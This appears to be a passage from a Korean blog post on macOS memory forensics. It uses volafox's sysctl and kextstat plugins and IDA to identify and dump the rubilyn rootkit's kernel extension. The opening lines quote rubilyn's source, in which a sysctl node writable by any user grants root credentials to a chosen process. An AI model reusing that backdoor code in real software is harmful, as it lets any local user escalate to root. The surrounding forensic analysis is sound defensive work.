    lck_mtx_lock((lck_mtx_t*)&rootpid->p_mlock);
    creds = rootpid->p_ucred;
    creds = my_kauth_cred_setuidgid(rootpid->p_ucred,0,0);
    rootpid->p_ucred = creds;
    lck_mtx_unlock((lck_mtx_t*)&rootpid->p_mlock);
    return 0;
}
...[SNIP]..
/* prototypes for read/write handling functions for our sysctl nodes. */
static int sysctl_rubilyn_pid SYSCTL_HANDLER_ARGS;
...[SNIP]..
SYSCTL_PROC(_debug_rubilyn,OID_AUTO,pid,
            (CTLTYPE_INT|CTLFLAG_RW|CTLFLAG_ANYBODY),
            &k_pid,0,sysctl_rubilyn_pid,"IU","");
...[SNIP]..
static int sysctl_rubilyn_pid SYSCTL_HANDLER_ARGS
{
    int ret = sysctl_handle_int(oidp, oidp->oid_arg1, oidp->oid_arg2, req);
    getroot(k_pid);
    k_pid = 0;
    return ret;
}

루트킷이 로드된 메모리를 덤프하여 volafox의 플러그인인 sysctl을 구동하면 다음과 같은 결과를 볼 수 있다.

$ python vol.py -i ~/Desktop/rubilyn.mem -o sysctl
Name                                                          MIB PERMISSION                                                         Handler Value
sysctl.debug                                                  0.0        R-L                                    __kernel__(ffffff8000556650) None
sysctl.name2oid                                               0.3        RWL                                    __kernel__(ffffff8000556120) None
..[SNIP]..
debug.SerialATAPI                                           5.118        RW-             com.apple.iokit.IOAHCISerialATAPI(ffffff7f809eef0f) None
debug.USB                                                   5.119        RW-                   com.apple.iokit.IOUSBFamily(ffffff7f809fa7cb) None
debug.rubilyn.pid                                       5.120.101        RW-                   com.hackerfantastic.rubilyn(ffffff7f80bc70dd) 0
debug.rubilyn.pid2                                      5.120.102        RW-                   com.hackerfantastic.rubilyn(ffffff7f80bc714b) 0
debug.rubilyn.pid3                                      5.120.103        RW-                   com.hackerfantastic.rubilyn(ffffff7f80bc71ed) 0
debug.rubilyn.dir                                       5.120.104        RW-                   com.hackerfantastic.rubilyn(ffffff7f80bc72aa)
debug.rubilyn.cmd                                       5.120.105        RW-                   com.hackerfantastic.rubilyn(ffffff7f80bc72bb) /tmp
debug.rubilyn.user                                      5.120.106        RW-                   com.hackerfantastic.rubilyn(ffffff7f80bc72cc) victim
debug.rubilyn.port                                      5.120.107        RW-                   com.hackerfantastic.rubilyn(ffffff7f80bc72dd) 88
..[SNIP]..

앞서 설명한 것처럼 메모리를 분석하면 각 커널 상태의 핸들러를 등록한 KEXT와 어떤 함수가 처리하는지 확인할 수 있다. 예를 들어 debug.rubilyn.pid(핸들러 0xffffff7f80bc70dd) 핸들러를 분석한다면 다음과 같이 코드를 볼 수 있다. KEXT는 로드되는 베이스 주소가 매번 달라지기 때문에 메모리에서 추출해서 비교하는 것이 함수 식별이 좀 더 빠르다.
또한 메모리에서 추출한 KEXT를 분석할 때는 KASLR을 고려해야하기 때문에 volafox에서 dumpsym으로 현재 KASLR에 맞는 심볼 정보를 추출한 후, IDAPython 스크립트인 makecommsyscallref로 변경된 커널 함수를 매핑할 수 있다.

$ python vol.py -i ~/Desktop/rubilyn.mem -o kextstat | grep rubilyn
0x37E387C8    1  85                                 com.hackerfantastic.rubilyn                1           0 0xFFFFFF8004969BE0 0xFFFFFF7F80BC6000   20480       0 0xFFFFFF7F80BC7E6A 0xFFFFFF7F80BC7EB6
$ python vol.py -i ~/Desktop/rubilyn.mem -o kextstat -x 85
[+] Find KEXT: com.hackerfantastic.rubilyn, Virtual Address : 0xFFFFFF7F80BC6000, Size: 20480
[DUMP] FILENAME: com.hackerfantastic.rubilyn-ffffff7f80bc6000-ffffff7f80bcb000
[DUMP] Complete.

[IN IDA PRO]
__text:FFFFFF7F80BC70DD sub_FFFFFF7F80BC70DD proc near
__text:FFFFFF7F80BC70DD                 push    rbp
__text:FFFFFF7F80BC70DE                 mov     rbp, rsp
__text:FFFFFF7F80BC70E1                 push    r15
__text:FFFFFF7F80BC70E3                 push    r14
__text:FFFFFF7F80BC70E5                 push    rbx
__text:FFFFFF7F80BC70E6                 push    rax
__text:FFFFFF7F80BC70E7                 mov     edx, [rdi+20h]
__text:FFFFFF7F80BC70EA                 mov     rsi, [rdi+18h]
__text:FFFFFF7F80BC70EE                 call    near ptr 0FFFFFF8000555D10h ; sysctl_handle_int
__text:FFFFFF7F80BC70F3                 mov     ebx, eax
__text:FFFFFF7F80BC70F5                 mov     edi, cs:g_pid
__text:FFFFFF7F80BC70FB                 call    near ptr 0FFFFFF8000546DC0h ; proc_find
__text:FFFFFF7F80BC7100                 mov     r14, rax
__text:FFFFFF7F80BC7103                 test    r14, r14
__text:FFFFFF7F80BC7106                 jz      short loc_FFFFFF7F80BC7134
__text:FFFFFF7F80BC7108                 lea     r15, [r14+50h]
__text:FFFFFF7F80BC710C                 mov     rdi, r15

결론

메모리 분석 시 커널 상태 정보를 확인(sysctl 플러그인)하면, 루트킷 분석 속도를 높일 수 있는 다양한 정보를 얻을 수 있다.
여러 컨퍼런스에서 자주 언급하지만 메모리 포렌식은 고도의 악성코드/루트킷 분석에 소요되는 많은 시간을 절약해주는 훌륭한 기술이다. 메모리 분석의 특성상 분석을 통해 악성 행위임을 유추한 결과를 전달하다보니 분석가 자신도 커널에 대한 이해가 많이 필요하다. 그로인해 진입 장벽이 높아 시도하지 않는 분들이 종종 있다. 한번 익혀두면 업그레이드된 자기자신을 볼 수 있을 것이다.

참조

[1] sysctl, wikipedia, https://en.wikipedia.org/wiki/Sysctl.
[2] sysctl(9) - The FreeBSD Project, https://www.freebsd.org/cgi/man.cgi?query=sysctl&sektion=9.
[3] BSD sysctl API, Kernel Programming Guide, http://docs.huihoo.com/darwin/kernel-programming-guide/boundaries/chapter_14_section_7.html.